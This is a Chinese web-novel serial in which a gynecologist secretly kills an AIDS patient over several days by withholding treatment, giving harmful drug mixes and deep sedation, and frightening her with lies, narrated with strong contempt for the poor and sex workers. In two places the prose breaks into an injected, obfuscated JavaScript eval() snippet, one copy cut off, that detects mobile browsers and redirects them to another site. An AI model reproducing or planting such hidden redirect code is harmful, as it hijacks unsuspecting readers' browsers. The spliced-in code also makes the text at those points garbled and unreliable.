《学生闹翻天3》 1. 双面尖吻蝮(1) 【第一日】 “你最近吃冷饮是不是太多了。这可不好。你必须戒掉冷饮。我给你开个方子。回去多吃点温补的东西。” “谢谢医生。” 倪梦萱拿着钟妍妍开的药方,走出了诊室。腹部的隐痛还在持续但女医生温和的话语和明确的诊断让她安心了不少。她顺着指示牌走向药房,心里盘算着回去一定要戒掉最爱的冰激凌和冰奶茶,好好调理身体。 圣保罗医院十二层妇科的空气里弥漫着消毒水和一丝若有若无的淡香,试图掩盖医院固有的那种紧张与不安。诊室内,钟妍妍脸上那平易近人的笑容在门关上的瞬间,如同退潮般迅速消散,恢复了医生特有的、带着一丝距离感的平静。她熟练地在电脑上录入病历点击保存。 就在这时,诊室的门被轻轻推开,另一个穿着白大褂的年轻女医生和嘉探进头来,她脸上带着掩饰不住的惊慌,手里紧紧攥着一份刚打印出来的化验报告。 “钟医生,”和嘉的声音压得很低,快步走进来,反手带上了门,“不得了了出大事了!” 钟妍妍抬起头微微蹙眉:“怎么了和嘉?慌慌张张的。” 和嘉将手里的报告单递到钟妍妍面前,手指因为用力而有些发白:“你看!昨天下午收治的那个叫兰珠的女病人,HIV初筛和确证实验都是阳性!病毒载量高得吓人……CD4指数已经低到临界值以下了!这……这已经是艾滋病晚期了!” 钟妍妍的目光瞬间锐利起来,她接过报告单,迅速扫过上面那些冰冷的数据和触目惊心的阳性(+)符号。作为医生,她很清楚这些数字意味着什么——极高的传染性,以及所剩无几的生命。 “确定吗?有没有可能搞错?”钟妍妍的声音依旧冷静,但指尖无意识地捏紧了纸张的边缘。 “绝对不会错!”和嘉急切地说,“样本复核过了,信息也核对无误。就是那个兰珠,入院时说是持续低烧、严重真菌感染、体重锐减……症状完全对得上!现在怎么办?要立刻启动传染病上报流程,通知感染科会诊,还要……” 钟妍妍抬手,打断了和嘉一连串的话。她深吸一口气,将报告单放在桌上,眼神深邃莫测:“我知道了。这件事你先别声张,按照常规流程走,但最终处理等我先去和病人谈过再说。毕竟……这不是小事,需要谨慎处理。” 和嘉愣了一下,似乎有些不解为什么不立刻采取标准程序,但她对钟妍妍一向信服,便点了点头:“好,您先去和她沟通, 我这边先准备相关资料。”说完,她带着满心的忧虑和一丝困惑,离开了诊室。 诊室里只剩下钟妍妍一人。她拿起兰珠的病历档案,翻看着。入院记录很简单,文化程度一栏写着“小学”,职业“无业”,住址是城市西边一个鱼龙混杂的棚户区。联系家属一栏是空的。她的眉头越皱越紧…… 她站起身,整理了一下白大褂,让自己看起来依旧专业而冷静,然后拿着那份沉甸甸的化验报告,走向兰珠所在的三人间病房。 病房里弥漫着药水和体味混合的气息。靠窗的床位,兰珠正半靠在床头,脸色蜡黄,眼窝深陷,即使穿着病号服也能看出形销骨立。她正百无聊赖地翻着一本皱巴巴的、不知从哪里弄来的廉价言情杂志,指甲上还残留着剥落的、艳俗的红色指甲油。 看到钟妍妍进来,兰珠抬起眼皮,混浊的眼睛里没有什么神采,只是懒洋洋地问:“医生啊我啥时候能出院咯?这里闷死个人了。” 钟妍妍没有立刻回答,她走到床边居高临下地打量着这个女人。近距离观察,更能看到兰珠眼角深刻的皱纹,粗糙的皮肤以及一种长期缺乏自律和生活困顿留下的痕迹。她说话时带着浓重的吕宋口音,用词粗俗。钟妍妍注意到她手腕内侧有一个模糊的、像是自己用针蘸墨水刺上去的歪斜图案,脖颈处还有一小片不易察觉的、陈旧的烫伤疤痕。 种种迹象,像零散的拼图,在钟妍妍受过良好教育、注重体面的脑海里,逐渐拼凑出一个她极其厌恶和鄙视的形象——一个文化素养低下、缺乏羞耻心、极有可能通过不正当、不洁净的途径染上这种肮脏疾病的底层女性。站街女?钟妍妍几乎在心里肯定了这种猜测。那种地方出来的女人,在她看来,是社会的渣滓是传播病毒和罪恶的源头,是玷污这座城市光鲜外表的污渍!! 一股混合着职业性风险厌恶、社会阶层优越感以及纯粹道德洁癖的强烈反感,在钟妍妍心中升腾、发酵。她努力维持着表面的平静,但眼神已经冷了下来。 “兰珠,”钟妍妍的声音没有一丝温度,公事公办地开口,“你的血液检查结果出来了。” “哦?啥结果啊?我就是发烧没力气,是不是贫血咯?”兰珠依旧是一副懵懂无知的样子,甚至咧开嘴笑了笑露出微微发黄的牙齿。(估计烟瘾很大)。 钟妍妍看着她那毫无戒备、甚至带着点愚昧的笑容,心中的厌恶感达到了顶点。她直接亮出了那份报告单,指向那个醒目的英文缩写和阳性标志,用清晰而冷酷的声音说: “你患的是AIDS。艾滋病,懂吗?” 兰珠脸上的笑容僵住了,她迷惑地看着报告单,又看看钟妍妍,显然,她对“AIDS”这个英文缩写并不熟悉,对“艾滋病”这三个字也毫无认知。“艾……艾滋病?啥玩意儿?”她的无知引得同病房另外两个病人和家属都吃惊地望过来。 看着兰珠的反应,钟妍妍心中那点因为可能误判而产生的一丝疑虑也彻底消失了。果然是这种反应,无知、可笑,让人无语至极……她甚至懒得去详细解释艾滋病的病理和传播途径,因为在她看来,对这样一个女人说这些无异于对牛弹琴。 “检查结果很清楚,不会错。”钟妍妍的语气带着不容置疑的权威。 “那我什么时候可以出院?”兰珠似乎还抱着一种不切实际的幻想,以为出院就代表没事了。 看着她那副既可怜又可憎的样子,一个冰冷而危险的念头,如同毒蛇般悄然钻入了钟妍妍的脑海。 这个兰珠,活着就是个祸害。她无知且缺乏责任感,出院后,极有可能为了生计或者出于无知,继续从事那些肮脏的勾当,将病毒传播给更多人。她没钱,没文化,没有家庭支持,治疗对她来说意义不大,反而会占用紧张的医疗资源,增加医护人员和其他病人的风险。上报疫情、启动治疗程序,会带来一大堆繁琐的工作、潜在的舆论压力,甚至可能影响科室的考评。而且,想到要长期面对这样一个她内心极度鄙夷的病人,钟妍妍感到一阵生理性的不适。 不如…… 钟妍妍的脸上,忽然浮现出一丝极其隐秘近乎诡异的微笑。那笑容转瞬即逝,快得让恍惚中的兰珠以为是自己的错觉。 “出院?”钟妍妍的声音忽然变得轻柔起来,带着一种奇异的近乎催眠的安抚力,“你放心,你很快就可以出院了。” 她刻意加重了“很快”两个字,眼神深处却是一片冰冷的杀意。 是的,杀心。钟妍妍决定,不让这个肮脏的货色,再有机会去污染这个世界。她要利用自己的专业知识和对医院流程的熟悉,让这个兰珠“自然”地、迅速地走向死亡。 “真的?”兰珠浑浊的眼睛里竟然亮起一丝微弱的光,她似乎抓住了最后一根稻草,“医生,我真的很快就能好起来出院?” “当然,”钟妍妍维持着那令人不寒而栗的温和表情,“我是医生,怎么会骗你呢?你好好休息,配合治疗很快就会……解脱的。”她在心里补上了最后两个字。 说完,钟妍妍不再多看兰珠一眼,转身离开了病房,白大褂的衣角划过一个利落的弧度。走廊的光线照在她身上,却仿佛无法穿透她周身那层无形的冰壳。 回到办公室,钟妍妍立刻行动起来。她先是召来了和嘉。 “兰珠的情况我已经和她谈过了。”钟妍妍的表情凝重而带着一丝“遗憾”,“病人的情绪很不稳定,对病情认知度极低,而且……似乎有潜在的社会危害性。直接告知实情,我担心会引发极端行为,或者导致她逃离医院,造成更大的公共卫生风险。” 和嘉听得心惊肉跳:“那……那怎么办?” “我们需要采取一个更稳妥的策略。”钟妍妍沉吟道,手指在桌面上轻轻敲击,“暂时不进行正式的传染病网络直报,先在院内进行有限的专家会诊,由我们妇科牵头,邀请感染科、免疫科秘密参与,制定一个‘姑息治疗’方案。对外,就说是严重的耐药菌感染合并免疫系统紊乱,需要隔离观察。” “姑息治疗?”和嘉愣住了,“钟医生,她的艾滋病虽然晚期,但并非完全没有控制症状、延长生命的机会啊!至少应该进行抗病毒治疗……” “和嘉!”钟妍妍打断她,语气带着不容置疑的权威,“你要考虑现实!这样的病人,依从性有多差?她能按时服药吗?抗病毒治疗一旦产生耐药性,后果更严重!而且,她的身体状况已经很差,强行上治疗,可能加速她的死亡!我们现在要做的,是减轻她的痛苦,维持生命体征,避免她在我们医院里出现最糟糕的情况,比如机会性感染爆发导致的大规模院内感染风险!这才是对更多病人负责的态度!” 一番冠冕堂皇的话,夹杂着专业的恐吓和对“大局”的考量,让经验尚浅的和嘉哑口无言。她虽然觉得哪里不对,但在钟妍妍强大的气场和看似合理的逻辑面前,她选择了服从。 “我明白了,钟医生。”和嘉低声说。 “很好,”钟妍妍满意地点点头,“你去准备一下会诊资料,记住,保密。兰珠那边,我会亲自负责她的‘治疗’方案。” 支走了和嘉,钟妍妍坐在电脑前,开始起草一份精心修饰过的病程记录和“姑息治疗”方案。她刻意淡化了艾滋病的诊断,着重描述兰珠严重的真菌感染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和嘉偶尔来看望,看到兰珠日益憔悴的模样,心中那份不安越来越强烈。她偷偷查阅了兰珠的用药记录和生命体征监测数据,凭借专业的眼光,她隐约察觉到钟妍妍的治疗方案似乎过于“保守”甚至有些“别扭”,有些药物的选择和剂量,看似合理,却总让人觉得没有抓住病情的核心。但她缺乏直接证据,更不敢挑战钟妍妍的权威只能将疑虑深深埋藏在心底,在给兰珠做基础护理时,下意识地更加轻柔,带着一丝无力的怜悯。 而钟妍妍则冷静地观察着兰珠生命体征的每一次细微波动,如同一个耐心的猎手,等待着猎物最终耗尽最后一丝力气。她站在病房外透过观察窗看着那个在病床上痛苦蜷缩、逐渐失去人形的生命,眼神里没有怜悯,只有一种即将完成一次“必要清理”的冷漠和……一丝不易察觉的,掌控他人生死的快意。 白色的墙壁,白色的床单,象征着纯洁与生命守护的白色,此刻却成了掩盖一场精心策划的死亡的最好的幕布。在这片看似无菌、秩序井然的空间里,一种名为“谋杀”的病毒,正依附在权力与偏见之上,悄然滋生、蔓延。 兰珠的生命,如同风中残烛,在钟妍妍冷酷的注视下,摇曳着微弱的光,等待着最终被掐灭的时刻。而这一切,才刚刚开始…… 病房的灯光冷白而均匀,洒在钟妍妍医生那张平日里显得颇为亲和的脸上,此刻却映照出一种令人陌生的狰狞。她的嘴角挂着一丝若有若无的、冰冷扭曲的笑意,眼底深处翻涌着一种近乎愉悦的残酷。那句低语仿佛还带着毒蛇吐信般的嘶嘶余音,在消毒水气味弥漫的空气中缓缓沉淀—— “我不会说错的,你很快就可以解脱了。我,钟妍妍可是‘尖吻蝮’噢……呵呵呵呵……” “尖吻蝮”,那个以迅猛和致命毒性著称的名字,与她此刻的心境完美契合。她享受这种掌控他人生死的权力感,尤其是在处理兰珠这种她认为“污染环境”的“垃圾”时。 谁能料到呢?眼前这个女人曾在众人面前被爪哇特工诬陷,哭得梨花带雨,肩膀微微耸动,那双眼睛红肿不堪,满脸的委屈与无助活脱脱一副任人欺凌的可怜模样,让见者无不心生怜悯。可谁又知晓,这副柔弱皮囊下,藏着的竟是一颗何等冷酷的心。 她总爱站在道德的制高点上,将自己包装成正直善良的化身,言语间尽是仁义道德,仿佛世间的是非对错都由她来评判。可就是这样一个立着道德牌坊的人,却能像一条潜伏的毒蛇,在无声无息中取人性命,手段之隐蔽,心思之歹毒,令人不寒而栗。 尖吻蝮,那可是大名鼎鼎的五步蛇,剧毒无比,被咬者若不及时救治,几步之内便会丧命。而她,偏偏将“5”视作自己的幸运数字。 她嘴角勾起一抹冰冷的笑意,眼神里没有丝毫温度:“但凡被我盯上的目标,短则五个小时,长则五天,绝无生还可能。”那语气平淡得仿佛在说一件再寻常不过的小事,却透着一股令人毛骨悚然的笃定。她就像那条五步蛇耐心等待,一旦出手,便意味着死亡的降临从不失手。 她转身,动作娴熟地从治疗车下层取出一个预先准备好的小玻璃瓶。瓶中的液体呈现出一种异常清澈、近乎诡异的淡蓝色,在灯光下泛着幽幽的、不祥的光泽。她用注射器熟练地抽吸药液,透明的针管里,那抹蓝色静静流淌,仿佛某种经过精心伪装的致命毒液。 2. 双面尖吻蝮(2) 护士卡洛琳端着护理盘走进来。“钟医生,兰珠的静脉输液该更换了。” 钟妍妍头也没抬,只是将手中那支已经抽吸好的、装着淡蓝色药液的注射器,随意地递了过去,语气平淡得像是在吩咐一件最寻常不过的小事:“嗯。注射时间到了。把这个,加到她的续滴壶里。” 卡洛琳下意识地接过注射器,目光落在针管里那抹陌生的蓝色上时,不由得愣住了。她是一名经验丰富的护士,对科室里常规使用的药物颜色、性状了如指掌。无论是抗生素、营养支持液还是镇静剂,绝没有这样一种透着古怪的淡蓝色药剂。 一股莫名的寒意顺着脊椎爬升。……她抬起头,带着职业性的谨慎和一丝不易察觉的警惕,轻声问道:“钟医生,这是什么药?我怎么从来没见过的颜色和剂型?” 钟妍妍终于抬起眼皮,冷冷地瞥了卡洛琳一眼。那眼神里没有丝毫解释的意图,反而带着一种居高临下的、不容置疑的压迫感。她刻意用一种轻描淡写、却又暗藏机锋的语气说道: “新药。” 她顿了顿,目光转向隔离病房的方向,仿佛能穿透墙壁看到那个奄奄一息的女人,语气变得更加漠然,甚至带着一丝残酷的戏谑: “看她的造化。如果她能适应就好……不适应,就自生自灭吧!” “自生自灭”四个字,像冰锥一样刺入卡洛琳的耳中。她握着注射器的手微微颤抖了一下。这完全不符合医护人员的基本准则!任何一种新药的使用,都有严格的流程和知情同意原则,绝不可能用“看造化”、“自生自灭”这样草率而冷酷的态度来对待! 卡洛琳的心脏剧烈地跳动起来。她看着钟妍妍那张平静无波却暗藏杀机的脸,又低头看了看手中那支散发着不祥气息的淡蓝色药剂。她瞬间明白了,这绝不是什么“新药”,这很可能是一道催命符!钟医生要对那个叫兰珠的病人下手!而自己,正被要求成为执行者! 恐惧和职业道德在她内心激烈交战。拒绝?钟妍妍是科室主治医生,权势不小,得罪了她,自己以后在医院的日子恐怕不好过。执行?那等同于谋杀!是彻底违背她誓言和良知的犯罪行为! 那抹淡蓝色在她眼中仿佛活了过来,像一条冰冷的毒蛇,缠绕在针管上,吐着信子,等待着被注入那个本就脆弱不堪的生命体内。 时间仿佛在这一刻凝固了。卡洛琳僵在原地,手心里的注射器变得无比沉重、滚烫。她该怎么办?是屈从于权威,成为帮凶?还是鼓起勇气,质疑这明显不合理的指令? 钟妍妍就那样冷冷地看着她,等待着她的服从,眼神里没有丝毫温度,只有属于“尖吻蝮”的耐心和冷酷…… 卡洛琳握着那支泛着诡异蓝色的注射器,脚步有些虚浮地离开了医生办公室。门在她身后轻轻合上,隔绝了外面走廊的嘈杂,也仿佛暂时隔绝了那份令人窒息的压迫感。但她手心里那冰凉的触感,却像烙印一样,提醒着她刚才那令人不安的一幕。 【第二日】 清晨的第一缕阳光,像是不甘被厚重窗帘完全阻隔的信使,费了好大的劲才从缝隙里挤进来一丝,在隔离病房的地板上投下一道惨白的光带。兰珠躺在病床上,身体不安地扭动着,喉咙里发出断断续续、含糊不清的呻吟,听着让人心头发紧。持续不退的高烧像一张无形的网,将她的意识困在清醒与迷糊的边缘,时而能勉强辨认周遭,时而又坠入混沌的黑暗。她的嘴唇干裂得起了皮,仿佛久旱的土地,嘴角还残留着昨夜咳出的、带着淡淡血丝的痰渍,透着一股病态的脆弱。 钟妍妍今天来得异常早。她换上了一身崭新挺括的白大褂,连袖口都系得整整齐齐,平日里偶尔会散落的发丝也被一丝不苟地盘在脑后,露出光洁饱满的额头,显得格外精神,却又带着一种说不出的疏离感。她推开门时,脚步很轻,脸上带着一种近乎虔诚的专注,那神情,仿佛即将进行一场精密无比的外科手术——只不过,这场“手术”的目的,并非拯救,而是一场缓慢而残忍的肢解。 她走到病床边,微微俯身,居高临下地审视着兰珠,目光平静得像一潭深水,看不出任何情绪。护士的夜班记录就放在床头,上面清晰地写着:兰珠夜间体温一度飙升至39.8℃,伴有寒战,且出现了间歇性的意识模糊。钟妍妍拿起床尾的病程记录夹,抽出笔,在上面流畅地写下一行字:“患者持续高热,考虑耐药菌感染未能有效控制,免疫功能极度低下,病情危重。”字迹工整,语气客观,仿佛只是在陈述一个再平常不过的医疗事实。 写完,她放下笔,从白大褂左侧的口袋里掏出一副全新的乳胶手套,撕开包装,慢条斯理地戴上。手套绷紧皮肤时发出的细微“啪”声,在这寂静得能听到自己心跳的病房里,显得格外清晰,像一根细针轻轻刺破了空气。 “兰珠,”她开口,声音平静得可怕,没有一丝波澜,“今天我们需要给你调整一下用药方案。你现在的感染很顽固,得换种方式试试。” 兰珠费力地睁开沉重的眼皮,长长的睫毛上似乎还沾着水汽,眼神涣散得像蒙了一层雾,她茫然地望着天花板,似乎已经认不出眼前的钟妍妍是谁,只是在听到声音时,本能地蜷缩了一下身体,喉咙里发出“嗬嗬”的声响,像是在表达不适。 钟妍妍并不在意她的反应,仿佛只是在对着一个没有生命的物体说话。她转身,从旁边的治疗推车上取下一个装有浑浊白色悬浊液的大号注射器,里面的液体轻轻晃动着,看着有些异样。 “这是加强型的抗生素和营养支持,”她对着空气解释,更像是在对自己确认,“希望能帮你对抗感染,让你好起来。” 然而,这所谓的“加强型抗生素”,实则是大剂量、不对症且极有可能加重肾脏负担的广谱抗生素混合液;而那“营养支持”,则刻意忽略了艾滋病晚期患者急需的特定营养素和免疫调节成分。钟妍妍早已精确计算过每一种成分的剂量——它们不足以让兰珠立刻丧命,却会像慢性毒药一样,慢慢消耗她本就所剩无几的体力,悄无声息地加剧她肝肾功能的损伤,一步一步将她推向更深的深渊。 穿刺、进针、推注。钟妍妍的动作娴熟而稳定,每一个步骤都精准得如同机器操作。冰凉的药液顺着血管缓缓流入兰珠的身体,她的身体猛地无意识地抽搐了一下,眉头也紧紧皱了起来。 “疼……”她从喉咙里挤出微弱的呻吟,声音细若蚊蚋。 “忍一忍,这是为你好。”钟妍妍的语气没有丝毫变化,听不出同情,也听不出安抚,只有一种近乎冷酷的平静。她的眼神却紧紧盯着兰珠因痛苦而微微扭曲的脸,像是在观察一个有趣的实验反应,那目光里藏着一丝不易察觉的审视。 下午,阳光斜斜地照进病房,给惨白的墙壁镀上了一层浅黄。钟妍妍再次出现在病房门口,这次,她带来的是更为残忍的心理折磨。 她搬了一把椅子,不声不响地坐在兰珠床边,手里拿着一份打印得整整齐齐的纸,那是一份伪造的、内容详实却充满了误导性的“病情告知书”。 “兰珠,我们需要跟你正式谈谈你的病情。”钟妍妍的声音故意放得很慢,每个字都吐得清晰入耳,像是要确保它们能准确地钻进兰珠的耳朵里,“根据最新的检查结果,你感染的是一种极其罕见、具有强烈传染性的‘超级真菌’,这种病菌目前几乎无药可治。而且……它具有强烈的社会危害性,很容易扩散。” 兰珠的神智本就被高烧和药物折磨得有些混乱,脑袋昏沉沉的,但“无药可治”、“传染性”、“社会危害”这些词,还是像尖锐的针一样,刺破了她混沌的意识。她的眼睛微微瞪大了些,原本涣散的眼神里,流露出一丝清晰可见的恐惧,嘴唇也开始轻轻颤抖。 “为了公众安全,”钟妍妍继续用那种公事公办、却又暗藏着残酷的语气说道, “你可能需要被转移到特殊的隔离机构,那里的条件会比较艰苦,而且是强制性的,你没有选择的余地。另外,根据相关规定,我们需要通知你的密切接触者——你好好想想,平时都和哪些人住在一起?有没有……固定的伴侣?或者客户?” 说到“客户”这个词时,钟妍妍特意加重了语气,嘴角带着一丝毫不掩饰的轻蔑,像一把小刀子,精准地刺向兰珠最敏感的地方。 兰珠的脸瞬间变得更加惨白毫无血色,仿佛被抽走所有的生气。她猛地摇着头,干裂的嘴唇颤抖得更厉害,嘶哑地辩解:“不……不要……我没有……我没有家人……没有人……”她语无伦次,深陷的眼眶里涌出浑浊的泪水,顺着脸颊滑落,在布满憔悴的脸上冲出两道浅浅的痕迹。她或许并不完全明白“超级真菌”到底意味着什么,但她听懂了“隔离”、“强制”、“通知别人”这些字眼背后的含义。羞耻、恐惧、被全世界抛弃的绝望,像无数只手紧紧攥住了她的心脏,几乎要将她本就脆弱不堪的意志彻底击垮。 “别激动,”钟妍妍看着她这副模样,嘴角几不可察地向上弯了一下,那笑容转瞬即逝,快得让人以为是错觉,“这只是预案。只要你好好配合治疗,也许事情还有转机。”她轻飘飘地给了兰珠一个虚假的希望,却又.在转身的瞬间,亲手将这希望悬在了悬崖边缘,让她在无尽的恐惧中挣扎。 这一天,兰珠不仅要承受着身体持续衰弱带来的痛苦,更在心理上被反复凌迟。钟妍妍就像一位冷酷的画家,用精心编织的谎言和充满暗示的话语,在兰珠的心中一点点描绘出一幅众叛亲离、被社会彻底遗弃、最终在孤独的囚禁中走向死亡的恐怖图景,让她在绝望的泥沼里越陷越深。 当夜幕再次降临,病房里只剩下微弱的灯光和仪器运作的滴答声。钟妍妍离开病房时,兰珠已经如同惊弓之鸟,哪怕是窗外风吹过树叶的沙沙声,都会让她浑身剧烈地颤抖。她开始出现幻觉,嘴里不停地低声念叨着“别抓我”、“别告诉别人”之类的胡话,眼神里充满了惊恐和无助。 而钟妍妍回到自己的办公室,坐在电脑前更新病程记录时,心情却异样地平静,甚至带着一丝完成了今日“工作”的满意。她看着屏幕上兰珠那不断恶化的生命体征数据,一行行跳动的数字,在她眼中仿佛变成了一件正在按计划逐步成型的作品,每一个细微的变化,都让她感到一种扭曲的满足。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937020|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【第三日】 兰珠的病情,正按照钟妍妍“预期”的轨迹,一步步滑向更深的深渊。那些持续不断的“治疗”,对于她真正的病因——HIV病毒对免疫系统的蚕食,以及由此引发的各种机会性感染,根本起不到任何遏制作用。钟妍妍刻意回避的抗病毒治疗,还有那些针对性的免疫支持手段,如同被遗忘的防线,使得兰珠的身体彻底沦为一座失去守军的城池,任由各种病菌在里面肆意横行,烧杀抢掠。 清晨时分,兰珠的咳嗽变得愈发剧烈,起初只是干咳,喉咙里发出刺耳的“嘶嘶”声,到后来,每一次咳嗽都带着撕裂般的疼痛,咳出的痰液里混杂着坏死的组织碎片,散发着一股难以言喻的恶臭,在病房里弥漫开来。刚拍的胸片上,她的肺部已经出现了几处可疑的阴影,钟妍妍拿着片子,在病历上写下“疑似合并特殊病原体肺炎(考虑真菌或非典型分枝杆菌)”,字里行间却故意将鉴别诊断引向更复杂、更难治的方向,仿佛这病情本就棘手到无药可解,而她也正以此为借口,继续给兰珠使用那些效果存疑、副作用却极强的药物。 今天,钟妍妍换了一种折磨的方式。 她推着一个便携式超声机走进病房,机器轮子在地板上滚动,发出轻微的“咕噜”声。“需要检查一下你的腹腔和内脏情况,”她看着气息奄奄、连说话都费劲的兰珠,语气平淡得像在谈论天气,“看看感染有没有扩散到里面。” 护士递过来耦合剂,钟妍妍挤出一些,冰凉的液体涂在兰珠干瘦得能清晰看见肋骨轮廓的腹部,兰珠下意识地瑟缩了一下。随后,超声探头带着压力用力压了下去,那力道对于她这副弱不禁风的身体来说,无疑是种酷刑。兰珠疼得闷哼一声,眉头拧成了一团,身体不由自主地绷紧,仿佛那探头不是在检查,而是在碾压她的五脏六腑。 钟妍妍却一脸专注地盯着屏幕,时不时微微调整探头的角度,嘴里还不时吐出一些专业的医学术语:“肝脏回声增粗……脾脏肿大……腹腔有少量积液……”这些情况,在艾滋病晚期患者身上并非罕见,但从钟妍妍口中说出来,语气里却刻意渲染出一种“情况正在全面失控”、“多脏器已经严重受损”的紧迫感,每一个字都像小锤子,敲在兰珠本就脆弱的神经上。 她甚至特意将屏幕转向兰珠,用手指着那些黑白图像中模糊不清的阴影,语气凝重地说:“你看这里,还有这里,都不太正常。这说明感染已经很深了,已经影响到内脏了。” 兰珠费力地转动眼珠,茫然地看着那些她根本无法理解的图像,黑白交错的光影在她眼中只是一片混沌。可钟妍妍那严肃到近乎冷酷的表情,还有那些从她嘴里蹦出来的可怕词汇,却像魔咒一样钻进兰珠的耳朵,让她打心底里觉得,自己的身体内部已经彻底“烂掉了”。一种从骨头缝里渗出来的、无可救药的绝望感,像藤蔓一样紧紧攫住了她,让她连呼吸都觉得沉重。 检查结束后,钟妍妍抽出纸巾擦了擦探头上的耦合剂,对于兰珠眼中的恐惧和痛苦视而不见,既没有给予任何实质性的安抚,也没有解释下一步真正的治疗方向。她只是淡淡地丢下一句:“情况比想象中复杂,我们需要重新评估治疗方案。你可能需要做好长期斗争的准备。”而她所谓的“长期斗争”,在兰珠听来,不过意味着更漫长、更无望的痛苦消耗,是一场看不到尽头的煎熬。 午后,阳光透过窗帘的缝隙照在地板上,形成一道斑驳的光带。兰珠又开始出现腹泻的症状,拉出的全是水样便,次数频繁,很快就出现了脱水和电解质紊乱的迹象,嘴唇干得更加厉害,皮肤也失去了弹性。钟妍妍在医嘱里增加了止泻药和补液,却又“恰到好处”地“疏忽”了调整那些可能引起或加重腹泻的其他药物,仿佛这一切都在她的计算之中。 她来查房时,特意站在离病床稍远的地方,看着护士清理那些污秽物,眉头微微蹙起,从口袋里掏出手帕,极其自然地轻轻掩了下口鼻。这个微小的动作,却像一根尖锐的针,狠狠刺中了兰珠的自尊——那是一种无声却极具侮辱性的嫌弃,仿佛兰珠本身就是一团散发着恶臭、需要被尽快处理掉的污秽。 “注意加强护理,预防褥疮和更严重的感染。”她转过身对护士吩咐道,语气听起来和往常一样公事公办,但那掩鼻的动作和刻意保持的距离,已经无声地向所有人传达了她对兰珠的鄙夷。 兰珠的意识,在生理痛苦的反复冲刷和尊严被彻底践踏的强烈羞辱感中,变得更加支离破碎。她时而昏昏沉沉地睡去,梦里全是各种可怕的阴影;时而又猛地惊醒,眼神空洞地望着天花板,泪水无声地从眼角滑落,混入枕头上那些不知是汗渍还是其他分泌物留下的污痕里,晕开一小片深色的印记。 钟妍妍在这一天下班前,特意去药房“检查”了兰珠的用药库存。她仔细核对了清单,确认那些她精心挑选的、治标不治本甚至可能有害的药物储备充足,足以支撑接下来的“治疗”。做完这一切,她走出医院大门,傍晚的晚风带着一丝凉意吹在脸上,她深吸了一口气,感觉肺里积攒了一天的消毒水味,似乎都变得清新了不少,脚步也轻快了几分。 3. 双面尖吻蝮(3) 【第四日】 兰珠的生命迹象如同风中残烛,明显地衰微下去。连日来的持续消耗,早已让她瘦得脱了形,眼窝深陷成两个黑乎乎的洞,高耸的颧骨在蜡黄灰败的脸上格外突兀,松弛的皮肤像挂在骨架上的破布,轻轻一碰仿佛就会碎裂。大多数时候,她都陷在昏睡或半昏迷的状态里对外界的刺激反应越来越迟钝,仿佛灵魂早已游离在这具残破的躯壳之外。 钟妍妍今天做了一个决定,她要在“减轻痛苦”的温情名义下,进行更深层次的干预。 她拿着医嘱单走进护士站,以“患者躁动不安,可能影响治疗进程,甚至带来坠床等风险”为由,下达了使用镇静剂的指令。但她精心挑选的,是一种代谢速度较慢、且对呼吸有一定抑制作用的镇静药物,更在备注栏里指示护士,只要兰珠出现“痛苦表情或不安动作”,即可随时追加剂量。 “我们的目标很简单,就是让她能平静下来,尽可能无痛苦地度过这个艰难的过程。”钟妍妍对当班护士说着,脸上挂着一副悲天悯人的神情,眼神里的“关切”看起来真挚得不容置疑。 于是,兰珠被这无形的药物之手,更深地拖入了混沌的深渊。她偶尔会从昏睡中挣脱片刻,无意识地发出几声微弱的呻吟,或是身体本能地扭动几下,试图摆脱那蚀骨的难受,可随即就会有冰凉的针头刺入皮肤,将更多令她意识模糊的药液注入血管。渐渐地,她不再有哪怕一秒清醒的时刻去感受恐惧或痛苦,却也同时失去了对外界做出任何反应、表达任何需求的能力。她的生命,就这样被药物强行“平静”了下来,像一潭正在缓慢枯竭、毫无生气的沼泽,只剩下水面下无声的沉沦。 钟妍妍站在病床边,静静地观察着药物生效后兰珠彻底安静下来的样子。监护仪屏幕上,心率、呼吸频率、血氧饱和度的数值都在一个偏低的区间波动,虽暂时平稳,却透着一股难以逆转的颓势。她伸出手,用食指轻轻翻开兰珠的眼睑,那原本黑白分明的瞳孔,对光的反射已经变得微弱而迟缓,像是蒙尘的星辰,再也亮不起来了。 “很好,”她对着空气低声自语,语气里带着一种近乎满意的笃定,仿佛在评价一件即将完成的作品,“就这样,安静地走下去吧。” 今天,她也格外加强了对其他医护人员的信息管控。当有轮值的实习医生或刚轮转过来的年轻医生,好奇地向她打听这个被单独隔离的“特殊感染”病人时,钟妍妍总会摆出一副混合着专业权威与适度担忧的神情,有条不紊地解释:“是多重耐药菌感染,合并严重的免疫缺陷,情况非常棘手,而且传染风险极高。目前治疗方案还在摸索调整中,大家尽量不要靠近病房,避免不必要的暴露,安全第一。” 她成功地用这些晦涩的专业术语和被刻意放大的潜在风险,在兰珠周围构筑起一道无形的屏障,将她与那些可能带来变数的外界观察彻底隔绝开来。和嘉护士虽然心中的疑虑像藤蔓一样日益疯长,每次看到兰珠在镇静剂作用下毫无生气的样子,都忍不住心惊肉跳,可在钟妍妍滴水不漏的解释,以及科室里其他医生看似见怪不怪的态度影响下,终究还是没敢公开提出质疑,只能将那份不安悄悄压在心底。 夜幕像一块厚重的黑布,沉沉地覆盖了整座医院。钟妍妍没有离开,她留在了自己的办公室里,桌面上摊着一些待处理的文书工作,可她的目光却时不时地飘向电脑屏幕——上面正实时显示着兰珠病房的监护仪数据。那些跳动的波形和不断变化的数字,俨然成了她监控“项目进度”的仪表盘。她甚至慢条斯理地泡了一杯咖啡,在袅袅升起的热气和浓郁的咖啡香气中,异常冷静地分析着每一项数据变化的趋势,仿佛在研究一份再寻常不过的报表。 